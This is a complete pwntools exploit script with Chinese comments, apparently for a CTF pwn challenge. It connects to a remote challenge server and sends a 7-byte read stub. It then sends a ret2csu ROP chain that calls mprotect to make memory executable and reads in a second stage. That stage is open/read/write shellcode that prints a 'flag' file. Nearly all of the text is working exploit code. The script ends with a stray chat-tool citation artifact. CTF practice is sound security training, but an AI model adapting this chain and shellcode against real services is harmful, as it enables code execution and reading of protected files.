1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168
| from pwn import *
# 基本参数:64 位 ELF,方便调试输出 context.update(arch='amd64', os='linux', log_level='debug')
# 远程目标与本地文件 p = remote('nc1.ctfplus.cn', 30349) elf = ELF('/mnt/hgfs/E/CTF/比赛/25星芒杯/pwn/attachment')
# ------------------------- # 第一阶段:7 字节小 stub # ------------------------- # 运行位置:mprotect 之后,rax = 0(返回值),rdi/rsi/rdx 还保留 mprotect 的实参 # rdi = 0x600000 # rsi = 0x1000 # rdx = 5 # # stub 做的事: # mov edi, eax ; rdi = 0 -> fd = 0 (stdin) # push rsp; pop rsi ; rsi = rsp -> buf = 栈顶 # syscall ; 执行 read(0, rsp, 5) (rdx 沿用 5) # ret ; 从栈上取 ROP 链的第一个地址 stub_code = asm('mov edi, eax; push rsp; pop rsi; syscall; ret') assert len(stub_code) == 7
# ------------------------- # CSU 的两个关键 gadget # ------------------------- # 这两个地址是从 __libc_csu_init 中拆出来的“万能调用”组合: # csu_pop_addr : pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; # csu_call_addr : mov rdx, r14; mov rsi, r13; mov edi, r12d; # call [r15+rbx*8]; ...; ret; csu_pop_addr = 0x4013AA csu_call_addr = 0x401390
def build_csu_frame(func_ptr_addr, arg1, arg2, arg3, ret_addr): """ 利用 __libc_csu_init 伪造一次三参数函数调用:
((void (*)(uint64_t, uint64_t, uint64_t)) *func_ptr_addr)(arg1, arg2, arg3);
实现方式: r12 -> edi (第 1 个参数) r13 -> rsi (第 2 个参数) r14 -> rdx (第 3 个参数) [r15] -> 要调用的真实函数地址 调用结束后,再从栈上弹出若干寄存器,最后 ret 到 ret_addr。 """ frame = b"" frame += p64(csu_pop_addr) # 先把 rbx, rbp, r12-15 填好 frame += p64(0) # rbx = 0 frame += p64(1) # rbp = 1 保证循环只跑一次 frame += p64(arg1) # r12 -> edi frame += p64(arg2) # r13 -> rsi frame += p64(arg3) # r14 -> rdx frame += p64(func_ptr_addr) # r15 -> [r15 + rbx*8] = [func_ptr_addr] frame += p64(csu_call_addr) # 跳进调用部分
# 调用完成后会有一串 pop,把前面的 rbx/rbp/r12-15 弹掉 frame += p64(0) * 6 # 占位:rbx, rbp, r12, r13, r14, r15
# 最终返回地址 frame += p64(ret_addr) return frame
# ------------------------- # 第二阶段:ORW shellcode # ------------------------- # 动作顺序: # 1. open("flag", O_RDONLY, 0) -> 得到 fd,保存在 rbx # 2. read(fd, 新栈上 0x40 字节空间, 0x40) # 3. write(1, 同一块缓冲区, 0x40) orw_shellcode = asm(r""" /* step 1: 打开 flag 文件,路径直接压栈 */ mov rbx, 0x67616c66 /* "flag" 的小端整数形式 */ push rbx mov rdi, rsp /* const char *pathname = "flag" */ xor esi, esi /* int flags = O_RDONLY */ xor edx, edx /* mode = 0 */ mov eax, 2 /* SYS_open */ syscall
/* 保存返回的 fd,后面 read 还要用 */ mov rbx, rax /* rbx = fd */
/* step 2: 申请一小块栈空间作为读缓冲区,并读出内容 */ sub rsp, 0x40 /* 预留 0x40 字节缓冲区 */ mov rdi, rbx /* fd */ mov rsi, rsp /* buf = 当前栈顶 */ mov edx, 0x40 /* 读 0x40 字节 */ xor eax, eax /* SYS_read */ syscall
/* step 3: 把刚读到的内容写到标准输出 */ mov edi, 1 /* fd = 1 (stdout) */ mov rsi, rsp /* buf 仍然是刚才的栈缓冲区 */ mov eax, 1 /* SYS_write */ syscall """)
# ------------------------- # 发送 7 字节 stub,进入第一阶段 # ------------------------- p.recvuntil(b'\n') p.send(stub_code)
# ------------------------- # 查 GOT:read / mprotect # ------------------------- got_read_addr = elf.got['read'] got_mprotect_addr = elf.got['mprotect']
# mmap 出来的那一页基址(程序里直接写死) shell_base_addr = 0x600000
# ------------------------- # 在栈上布置 CSU ROP 链(第二阶段) # ------------------------- rop_chain = b""
# 1) 调用 mprotect(0x600000, 0x1000, 7) # 让 mmap 出来的那一页重新获得 RWX 权限,后面可以写 + 执行自定义代码 rop_chain += build_csu_frame( func_ptr_addr = got_mprotect_addr, arg1 = shell_base_addr, # addr arg2 = 0x1000, # length arg3 = 7, # PROT_READ|PROT_WRITE|PROT_EXEC ret_addr = csu_pop_addr # 调完接着走下一次 CSU )
# 2) 调用 read(0, 0x600000, 0x400) # 把“第二阶段内容”(函数指针 + ORW shellcode)放到 0x600000 rop_chain += build_csu_frame( func_ptr_addr = got_read_addr, arg1 = 0, # stdin arg2 = shell_base_addr, # 目标缓冲区 arg3 = 0x400, # 读取长度 ret_addr = csu_pop_addr )
# 3) 利用 CSU 再调用一次:((void (*)()) *0x600000)() # 约定:我们会在 0x600000 写入 8 字节函数指针 0x600008, # 真正 ORW shellcode 从 0x600008 开始。 rop_chain += build_csu_frame( func_ptr_addr = shell_base_addr, # 这里当作“函数指针数组”的起点 arg1 = 0, arg2 = shell_base_addr, arg3 = 0x400, ret_addr = shell_base_addr # ORW 执行完直接退出,此处去哪里无所谓 )
p.send(rop_chain) sleep(0.05)
# ------------------------- # 写入“函数指针 + ORW shellcode”到 0x600000 # ------------------------- # 内存布局: # 0x600000: 8 字节,值为 0x600008 -> 相当于“函数指针槽” # 0x600008: orw_shellcode -> 真正执行的代码 second_stage = p64(shell_base_addr + 8) + orw_shellcode p.send(second_stage)
p.interactive() ::contentReference[oaicite:0]{index=0}
|